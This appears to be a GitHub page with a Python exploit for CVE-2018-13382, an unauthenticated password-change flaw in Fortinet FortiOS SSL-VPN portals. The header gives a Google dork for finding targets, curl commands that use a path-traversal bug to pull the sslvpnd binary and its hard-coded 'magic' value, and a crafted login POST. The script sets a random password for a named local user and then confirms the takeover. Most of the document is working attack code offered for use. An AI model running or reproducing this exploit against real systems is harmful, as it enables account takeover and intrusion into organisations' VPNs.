-
Notifications
You must be signed in to change notification settings - Fork 2
/
CVE-2018-13382.py
240 lines (197 loc) · 7.44 KB
/
CVE-2018-13382.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Date:
November 21th, 2019
Name:
CVE-2018-13382 | Fortigate SSL-VPN Local Users Password Changer
Version:
1.1
Description:
An improper authorization vulnerability in the SSL-VPN web portal may allow an unauthenticated
attacker to change the password of a SSL-VPN web portal user via specially crafted HTTP requests.
Work only if the SSL-VPN service ("web-mode" or "tunnel-mode") is enabled and users with local
authentication are affected, SSL-VPN web portal users with remote authentication like LDAP or
RADIUS are not impacted.
Author:
iojymbo (@iojymbo)
Credits:
Orange Tsai (@orange_8361) - DEVCORE
Meh Chang (@mehqq_) - DEVCORE
Affected Products:
FortiOS 5.4.1 to 5.4.10
FortiOS 5.6.0 to 5.6.8
FortiOS 6.0.0 to 6.0.4
Advisories:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13382
https://fortiguard.com/advisory/FG-IR-18-389
References:
https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/
https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf
https://github.com/adrienverge/openfortivpn/issues/348
https://github.com/adrienverge/openfortivpn/issues/427
Date of public disclosure:
May 24th, 2019
Google Dork:
intitle:"Please Login" intext:"Please Login" inurl:"/remote/login"
Discovery:
$ VULN_URI='/remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd'
$ VULN_URL='https://192.168.0.2:443'${VULN_URI}
$ curl -k --output 'sslvpnd' ${VULN_URL}
$ strings ./sslvpnd | grep 'magic=4.*6'
-------------------------------------------------------------------
ret=6,magic=4tinet2095866,actionurl=%s,reqid=%d,portal=%s,grpid=%d,pid=%d,user_only_check=%d,chal_msg=%s
ret=6,magic=4tinet2095866,actionurl=%s,reqid=%d,grpid=%d,pid=%d,user_only_check=%d,pass_renew=1,chal_msg=%s
-------------------------------------------------------------------
1°) Use the CVE-2018-13379 path traversal vulnerability for downloading '/bin/sslvpnd' binary
2°) Use 'strings' and 'grep' to find quickly the 'magic' string (thanks DEVCORE blog post & openfortivpn issues for the clue!)
Exploitation:
$ VULN_URI='/remote/logincheck'
$ VULN_URL='https://192.168.0.2:443'${VULN_URI}
$ DATA='ajax=1&username=user1&realm=&credential=blah&magic=4tinet2095866&credential2=blah'
$ curl -k -X $'POST' --data-binary ${DATA} ${VULN_URL}
-------------------------------------------------------------------
1°) Submit a new password, 'blah' in example, by filling 'credential' & 'credential2' parameters
Usage:
$ python CVE-2018-13382.py -r <RHOST> -p <RPORT> -u <LOCAL_USERNAME>
$ python CVE-2018-13382.py -r 192.168.0.2 -p 443 -u user1
Tested against:
FortiOS 5.4.6
FortiOS 5.6.5
FortiOS 6.0.0
FortiOS 6.0.2
Solution:
Upgrade FortiOS.
Workaround:
Migrate SSL-VPN user authentication from local to remote (LDAP or RADIUS) or totally disable the SSL-VPN service (both "web-mode" and "tunnel-mode").
License:
Usage is provided under the WTFPL license.
'''
# Import module(s)
import argparse
import random
import requests
import string
# Disable all SSL warnings
try:
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:
pass
# Colors handling
is_colorama_loaded = False
try:
import colorama
colorama.init(autoreset=True)
is_colorama_loaded = True
except:
pass
class Symbols:
'''
Require module(s): colorama.
'''
if is_colorama_loaded:
ask = colorama.Fore.CYAN + "[?] " + colorama.Fore.RESET
done = colorama.Fore.GREEN + "[+] " + colorama.Fore.RESET
error = colorama.Fore.RED + "[-] " + colorama.Fore.RESET
info = colorama.Fore.YELLOW + "[!] " + colorama.Fore.RESET
run = colorama.Fore.BLUE + "[*] " + colorama.Fore.RESET
else:
ask = "[?] "
done = "[+] "
error = "[-] "
info = "[!] "
run = "[*] "
class Toolbox:
'''
Require module(s): random, request, string
'''
def do_http_request(self, method, url, data=None):
'''
Simple HTTP(S) requester.
'''
headers = {
'Accept' : '*/*',
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Safari/605.1.15'
}
try:
response = requests.request(method=method, url=url, headers=headers, data=data, verify=False, allow_redirects=False, timeout=5)
return(response)
except requests.exceptions.ConnectionError:
return(None)
except requests.exceptions.ChunkedEncodingError:
return(Toolbox().do_http_request(method, url, data))
def is_host_reachable(self, rhost, rport):
'''
Return 'True' if remote host is alive.
'''
login_url = 'https://' + rhost + ':' + rport + '/remote/login?lang=en'
request = Toolbox().do_http_request('GET', login_url)
return(True) if request is not None else (False)
def get_random_password(self, length):
'''
Return a randomized password.
'''
return(''.join([random.choice(string.digits + string.ascii_letters + string.punctuation) for i in range(length)]))
class Exploit:
'''
CVE-2018-13382: The 'magic' backdoor!
Require module(s): No.
'''
def change_or_test_password(self, rhost, rport, username, password=None):
'''
Change or test a password for a given local user.
'''
data = {
'ajax' : '1',
'username' : username,
'realm' : ''
}
if password is None:
password = Toolbox().get_random_password(16)
data.update({
'credential' : password,
'magic' : '4tinet2095866',
'credential2': password
})
else:
data.update({ 'credential' : password })
vuln_url = 'https://' + rhost + ':' + rport + '/remote/logincheck'
request = Toolbox().do_http_request('POST', vuln_url, data)
return(password) if 'redir=/remote/hostcheck_install' in request.text else (None)
# Main
def main():
'''
Require module(s): argparse.
'''
# Banner
print("\n" + "[ CVE-2018-13382 | Fortigate SSL-VPN Local Users Password Changer | @iojymbo ]".center(100, '-') + "\n")
# Declare arguments
parser = argparse.ArgumentParser()
parser.add_argument("-r","--remote-host", action='store', dest='rhost', required=True)
parser.add_argument("-p","--port" , action='store', dest='rport', required=True)
parser.add_argument("-u","--username" , action='store', dest='user', required=True)
args = parser.parse_args()
# Start attack
print(Symbols.info + "Targeting %s on port %s" % (args.rhost, args.rport))
# Is host reachable ?
print(Symbols.run + "Testing if remote host is reachable...")
is_host_reachable = Toolbox().is_host_reachable(args.rhost, args.rport)
if not (is_host_reachable):
print(Symbols.error + "Remote host is not reachable!")
quit()
# Change local user password
print(Symbols.run + "Trying to change \"%s\" password..." % (args.user))
new_pwd = Exploit().change_or_test_password(args.rhost, args.rport, args.user)
# Test new password
if new_pwd is not None:
test_pwd = Exploit().change_or_test_password(args.rhost, args.rport, args.user, new_pwd)
# Successful ?
if test_pwd is not None:
print(Symbols.done + "New \"%s\" password is: %s" % (args.user, new_pwd))
else:
print(Symbols.error + "Remote SSL-VPN web portal is not vulnerable or user does not exist locally!")
# Run main()
if (__name__ == '__main__'):
main()
quit()